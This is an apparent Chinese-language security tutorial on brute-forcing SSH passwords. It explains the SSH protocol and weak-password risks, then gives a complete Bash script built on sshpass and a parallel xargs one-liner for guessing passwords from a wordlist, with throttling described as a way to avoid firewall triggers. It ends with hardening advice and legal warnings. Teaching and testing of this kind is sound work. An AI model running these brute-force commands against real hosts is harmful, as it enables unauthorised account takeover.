Linux SSH密码爆破脚本，从原理到实践

一、引言

SSH（Secure Shell）是Linux/Unix系统中最为常用的远程管理协议，它通过加密方式保障了网络通信的安全性。然而，弱密码依然是SSH服务面临的主要威胁之一。本文将带你深入理解SSH的工作原理，分析常见的安全漏洞，并通过一个简单的Bash脚本演示如何利用sshpass进行密码字典测试，帮助安全人员评估SSH服务的安全性。

二、SSH工作原理

2.1 SSH协议组成

SSH协议主要包含三个层次：

传输层协议：提供服务器认证、数据机密性和完整性保护
用户认证协议：负责验证客户端用户的身份
连接协议：将加密隧道复用为多个逻辑通道

2.2 SSH认证方式

SSH支持多种认证方式，最常见的有：

认证方式	特点
密码认证	最简单，但易受暴力破解攻击
公钥认证	安全性高，推荐使用
键盘交互认证	用于一次性密码等场景

2.3 SSH连接流程

客户端向服务器发起TCP连接（默认端口22）
双方协商加密算法和协议版本
服务器发送公钥给客户端
客户端验证服务器公钥（首次连接需确认指纹）
建立加密通道
进行用户认证（密码或密钥）
认证成功后分配Shell会话

三、SSH常见安全漏洞

3.1 弱密码漏洞

弱密码是SSH服务最主要的漏洞。常见弱密码包括：

默认密码（如root、admin）
简单数字组合（123456、12345678）
常见单词（password、admin）
与用户名相同的密码

3.2 配置不当

允许root直接登录
未限制登录失败次数
使用不安全的加密算法
未启用公钥认证

3.3 版本漏洞

某些旧版本SSH存在已知漏洞，如：

CVE-2018-15473（用户枚举）
CVE-2016-6210（密码猜测）

四、SSH密码爆破脚本解析

4.1 脚本源码

bash 复制代码

#!/bin/bash

user=""
ip=""
source=""

while getopts "u:h:s:" opt; do
    case $opt in
        u) user="$OPTARG" ;;
        h) ip="$OPTARG" ;;
        s) source="$OPTARG" ;;
        *) echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件" >&2
           exit 1 ;;
    esac
done

if [ -z "$user" ] || [ -z "$ip" ] || [ -z "$source" ]; then
    echo "错误: 缺少必需的参数"
    echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件"
    exit 1
fi

if [ ! -f "$source" ]; then
    echo "错误: 密码字典文件 '$source' 不存在"
    exit 1
fi

attempt=0
total=$(wc -l < "$source")

echo "目标: $user@$ip"
echo "字典: $source ($total 个密码)"
echo ""

while IFS= read -r password; do
    [ -z "$password" ] && continue
    ((attempt++))
    
    printf "[%d/%d] 测试: %s\n" "$attempt" "$total" "$password"
    
    if sshpass -p "$password" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$user@$ip" 'exit' 2>/dev/null; then
        echo ""
        echo "成功! 用户名: $user | 密码: $password"
        exit 0
    fi

    sleep 1
done < "$source"

echo "失败: 未找到有效密码"
exit 1

4.2 脚本功能详解

参数解析

-u：指定SSH用户名
-h：指定目标IP地址
-s：指定密码字典文件路径

错误处理

检查三个必需参数是否提供
检查密码字典文件是否存在

核心爆破逻辑

使用wc -l统计密码总数
逐行读取密码字典，跳过空行
每次尝试后延迟1秒，避免触发防火墙防护
使用sshpass携带密码进行SSH连接
SSH选项：
- ConnectTimeout=5：连接超时5秒
- StrictHostKeyChecking=no：跳过主机密钥确认
- 'exit'：连接成功后立即退出，减少资源占用

4.3 工具依赖

脚本依赖sshpass工具，它允许在命令行中直接传递密码。安装方法：

bash 复制代码

# Ubuntu/Debian
sudo apt install sshpass

# CentOS/RHEL
sudo yum install sshpass

五、脚本使用示例

5.1 准备密码字典

创建一个简单的密码字典文件passwords.txt：

bash 复制代码

123456
password
admin
root
12345678

5.2 运行脚本

bash 复制代码

chmod +x ssh_brute_force.sh
./ssh_brute_force.sh -u root -h 192.168.1.100 -s passwords.txt

5.3 预期输出

复制代码

目标: root@192.168.1.100
字典: passwords.txt (5 个密码)

[1/5] 测试: 123456
[2/5] 测试: password
[3/5] 测试: admin

成功! 用户名: root | 密码: admin

六、脚本优化建议

6.1 多线程加速

使用xargs实现并发测试：

bash 复制代码

cat passwords.txt | xargs -P 10 -I {} sshpass -p {} ssh -o ConnectTimeout=5 root@192.168.1.100 'exit' 2>/dev/null && echo "成功: {}"

6.2 添加日志记录

bash 复制代码

log_file="bruteforce_$(date +%Y%m%d_%H%M%S).log"
echo "[$(date)] 开始测试 $user@$ip" >> "$log_file"
# 在成功时追加日志
echo "[$(date)] 成功: $password" >> "$log_file"

6.3 支持代理和跳板机

通过-o ProxyCommand可以支持代理连接。

七、安全防御建议

对于SSH服务管理者，建议采取以下措施防御爆破攻击：

7.1 使用强密码或密钥认证

密码长度至少12位，包含大小写字母、数字和特殊符号
禁用密码认证，仅允许公钥认证

7.2 配置fail2ban

安装fail2ban并启用SSH防护：

bash 复制代码

sudo apt install fail2ban
sudo systemctl enable fail2ban

7.3 修改默认端口

编辑/etc/ssh/sshd_config，将Port 22改为其他端口。

7.4 限制登录失败次数

在/etc/ssh/sshd_config中添加：

复制代码

MaxAuthTries 3
MaxSessions 2

7.5 禁用root登录

复制代码

PermitRootLogin no

7.6 使用防火墙限制访问

bash 复制代码

# 仅允许特定IP访问SSH
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

八、伦理与法律责任

8.1 使用原则

授权测试：仅对拥有明确授权的系统进行测试
教育目的：用于学习和研究，不得用于非法攻击
报告漏洞：发现漏洞后应负责任地报告

8.2 法律风险

未经授权的SSH爆破行为可能违反《网络安全法》等相关法律法规，最高可追究刑事责任。请务必遵守法律规定。

九、总结

本文从SSH协议原理出发，介绍了常见的安全漏洞，并提供了一个实用的SSH密码爆破脚本。通过该脚本，安全人员可以快速评估SSH服务的弱密码风险。同时，我们也强调了安全防御的重要性和合法合规的使用原则。

网络安全是一场持续的攻防博弈，只有理解攻击手法，才能更好地进行防御。希望本文能帮助读者提升安全意识，共同构建更安全的网络环境。

本文内容仅供技术交流，请勿用于非法用途。